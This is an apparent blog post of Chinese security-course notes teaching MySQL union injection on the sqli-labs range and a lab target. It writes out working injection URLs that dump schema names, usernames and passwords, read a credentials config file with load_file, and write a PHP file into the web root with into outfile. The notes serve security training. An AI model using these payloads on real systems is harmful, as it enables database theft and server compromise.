首页 > 数据库 >[小迪安全]笔记 day12、13 MySQL注入

[小迪安全]笔记 day12、13 MySQL注入

时间:2023-04-04 13:23:38浏览次数:55  
标签:13 http 小迪 union labs sqli day12 id schema

1. 简单案例

1.1 简易代码分析SQL注入原理

image.png
http://localhost:8085/sqli-labs/Less-2/index.php?id=2
image.png
id=2 正常查询

http://localhost:8085/sqli-labs/Less-2/index.php?id=-2
image.png
id=-2的话什么都查不出来,表中没有负数的 id。

http://localhost:8085/sqli-labs/Less-2/index.php?id=-2%20union%20select%201,%20email_id,%203%20from%20emails
image.png
用union查询邮箱就查出来了。

问题

image.png
1、2、3、4都可能注入。

image.png
b、c正确。
:::warning
a 注入的是参数 y
d 注入的是 参数 xx
只要 b 和 c 注入参数 x
:::

1.2 Sqlilabs注入靶场搭建简要使用

sqli-labs下载地址: https://github.com/Audi-1/sqli-labs
phpstudy下载地址:https://www.xp.cn/

注意:sqli-labs要在php5.x版本使用,7.x版本不能用,在phpstudy中切换成php5.x的版本。

1.3 墨者靶机真实MYSQL注入演示

如何判断注入点?
老办法:

  • and 1=1页面正常
  • and 1=2 页面错误

那么可能存在注入点。

SELECT * FROM users WHERE id = 1 and 1 = 1 LIMIT 0, 1 正常
SELECT * FROM users WHERE id = 1 and 1 = 2 LIMIT 0, 1 错误

要选用最舒服的方法测试。
新方法:

  1. 猜解列名数量(字段数):用 order by
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 4 正常
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 5 错误

第一个报错的列数是5,那么就有4列。
  1. union注入

union注入前后两条语句字段数相同,不然报错。

http://localhost:8085/sqli-labs/Less-2/index.php?id=1 union select 1, 2, 3, 4 

将id=-1,前面的查询就不会成功
http://localhost:8085/sqli-labs/Less-2/index.php?id=-1 union select 1, 2, 3, 4 

网页显示的数字是就是回显位置 ,1、2、3、4 其中的几个或一个。

信息收集

  • 数据库版本:version()
  • 数据库名字:database()
  • 数据库用户:user()
  • 操作系统:@@version_compile_os
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, version(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, database(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, user(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, @@version_compile_os, 2, 3, 4

image.png

知识点:

  • 在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_schema。它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
  • 数据库中符号“.“代表下一级,如xiao.urer表示xiao数据库下的user表名
information_schema.tables: 记录所有表名信息的表
information_schema.colums: 记录所有列名信息的表

table_name: 表名
colunn_nane: 列名
table_schema: 数据库名

当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据。

mysql> use information_schema;
Database changed
mysql> SELECT * FROM SCHEMATA;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def          | mysql              | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | information_schema | utf8                       | utf8_general_ci        |     NULL | NO                 |
| def          | performance_schema | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO
  |
| def          | sys                | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO
  |
  |
| def          | security           | gbk                        | gbk_chinese_ci         |     NULL | NO
  |
| def          | challenges         | gbk                        | gbk_chinese_ci         |     NULL | NO
  |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
6 rows in set (0.00 sec)

所以查出数据库名后,根据数据库名在information_schem数据库中的tables中查表名和在columns中查列名。

查询指定数据库名mozhe_Discuz_stormGroup下的表名信息:
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat (table_name),3,4 from information_schema.tables
where table_schema='mozhe_Discuz_StormGroup'

image.png
查询指定表名stozmGzoup_member下的列名信息:

http://219.153.49.228148354/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from
Information_schema.colums where
table_name='StormGroup_member'

image.png
查询指定数据

http://219.153.49.228148354/new_list.php?id=-1 union 
select 1,name,password,4 from StormGroup_member

image.png
猜解多个数据可以采用limit x, 1 变动猜解。

2. 高权限注入及低权限注入

root用户有最高权限,一般用户只有自己管理的数据库权限。

2.1 跨库查询及应用思路

  • 低版本注入配合读取或暴力,用SQLmap 字典或读取
  • 高版本MySQL:information_schema表特性,记录库名,表名,列名对应表。
  1. 获取所有数据库名:
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1, schema_name, 3 from information_schema.schemata

image.png
只有一个数据库名,查询语句最后有limit 0, 1,所以只能查一条数据,用group_concat查出所有库名。

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1, group_concat(schema_name), 3 from information_schema.schemata

image.png

  1. 获取bookstore数据库的表名
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1, group_concat(table_name), 3 from information_schema.tables
where table_schema = 'bookstore'

image.png

  1. 获取user表的列名
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union select
1,group_concat(column_name),3 from information_schema.columns
where table_name='user'

image.png

  1. 获取username和password
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1,username,password from bookstore.user where user.id = 3

image.png

2.2 文件读写操作

常见读取文件列表:

  • load_file():读取函数
  • into outfile 或 into dumpfile:导出函数

2.2.2.1 读取操作

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1,load_file("D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\sql-connections\\db-creds.inc"),3

image.png
可以看到在查看网页源代码页面中有配置文件内容。

注意:本地MySQL要有文件读写权限。
在MySQL的配置文件my.ini中加上secure_file_priv='',然后重启MySQL服务即可。

2.2.2.2 写入操作

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 'Hello', 'World', '!' 
into outfile 'D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\hello.php'--+

image.png

image.png
成功写入内容

2.3 路径获取常见方法

  • 报错显示

image.png

  • 遗留文件
  • 漏洞报错
  • 平台配置文件
  • 爆破

2.4 常见写入文件问题

魔术引号开关 magic_quote_gpc

  • 将文件路径和文件名转为HEX,输入进load_file函数括号中。

魔术引号及常见防护

  • 将注入 id 中的 select 等关键字替换成其他字符。

标签:13,http,小迪,union,labs,sqli,day12,id,schema
From: https://www.cnblogs.com/SleepWalker-/p/17286059.html

相关文章

  • 1345. 跳跃游戏 IV
    题目描述给一个数组arr,起点是0,终点是n-1有3种选择:可以退一步、进一步、跳到值相等的位置问跳到终点的最少操作次数?f1哈希表+bfs基本分析为什么是bfs?求从起点到终点的最短路图是什么?当前节点到前、后、等值可跳的索引怎么获取x到所有等值点索引y的映射关系?哈希表预处理......
  • 51nod 1327 棋盘游戏
    1327 棋盘游戏题目来源: TopCoder基准时间限制:1 秒空间限制:131072 KB分值: 640 难度:8级算法题 收藏 关注有一个N行M列的棋盘,即该棋盘被分为N*M格。现在向棋盘中放棋子,每个格子中最多放一个棋子,也可以一个不放。放完棋子后需要满......
  • 51nod 1370 排列与操作
    1370 排列与操作题目来源: TopCoder基准时间限制:2 秒空间限制:131072 KB分值: 320 难度:7级算法题 收藏 关注给定N长排列P,其中排列指数集{1,2,3...N}组成的一个序列,序列中每个元素恰好出现一次。初始时这个排列是给出的。之......
  • 实验一-密码引擎-3-加密API研究--20201313
    目录微软的CryptoAPI加密技术PKCS#11及CSP接口标准GMT0016-2012GMT0018-20123以龙脉GM3000Key为例,写出调用不同接口的代码(CryptoAPI,PKCS#11,SKF接口),把运行截图加入博客,并提供代码链接3.1CryptoAPI3.1.1龙脉密码钥匙驱动实例工具等\mToken-GM3000\csp\samples\CryptAPI\VC\E......
  • 《爆肝整理》保姆级系列教程-玩转Charles抓包神器教程(13)-Charles如何进行Mock和接口
    1.简介Charles最大的优势在于抓包分析,而且我们大部分使用的功能也在抓包的功能上,但是不要忘记了,Charles也可以做接口测试。至于Mock,其实在修改请求和响应数据哪里就已经介绍了,宏哥就是在这里简单的提一下介绍一下它的理论知识,今天主要介绍和分享的是使用Charles进行接口测试实操......
  • 前端使用highcharts报错“Error: Highcharts error #13”
     报错情况如下:  错误原因:查找了下这个错误,图形容器无法找到,会导致报这个错误,两个页面都在使用同一个容器id时可能也会导致这样的问题,我遇到的是后者。。。。所以就改了一id然后就成功解决如果是前者:建议: 检查一下界面文件路径,或者F12查看一下是否有对应的图形容器 ......
  • day 34 1005.K次取反后最大化的数组和 | 134. 加油站 | 135. 分发糖果
    1005.K次取反后最大化的数组和给定一个整数数组A,我们只能用以下方法修改该数组:我们选择某个索引i 并将A[i]替换为-A[i],然后总共重复这个过程K次。(我们可以多次选择同一个索引i。)以这种方式修改数组后,返回数组可能的最大和。示例1:输入:A=[4,2,3],K=1输出:5解释:......
  • nginx上传文件超出默认大小限制-附件,提示:413 Request Entity Too Large
    Nginx限制文件上传大小,相应配置参数:client_max_body_size注意:该参数在nginx.conf中默认是没有配置的,不配置的情况下,nginx默认限制请求附件大小为:1M。即:默认当你通过nginx代理上传附件,大于1M的文件时,浏览器会抛出如下异常。处理方式:找到nginx的配置文件nginx/conf/nginx.conf,......
  • 2023.13 提升竞争力
    最近问了ChatGPT一个问题:如何不被你取代?ChatGPT:作为人类,你可以不断学习和成长,保持自己的竞争力。除了努力提高个人技能和知识水平外,还可以积极建立人际关系、寻找合作伙伴,不断扩展自己的社交圈子。同时,还要保持积极的态度和创新意识,不断寻找机会和挑战自我。总之,只要保持持续学习......
  • 力扣---面试题13. 机器人的运动范围
    地上有一个m行n列的方格,从坐标[0,0]到坐标[m-1,n-1]。一个机器人从坐标[0,0]的格子开始移动,它每次可以向左、右、上、下移动一格(不能移动到方格外),也不能进入行坐标和列坐标的数位之和大于k的格子。例如,当k为18时,机器人能够进入方格[35,37],因为3+5+3+7=18。但它不能进入......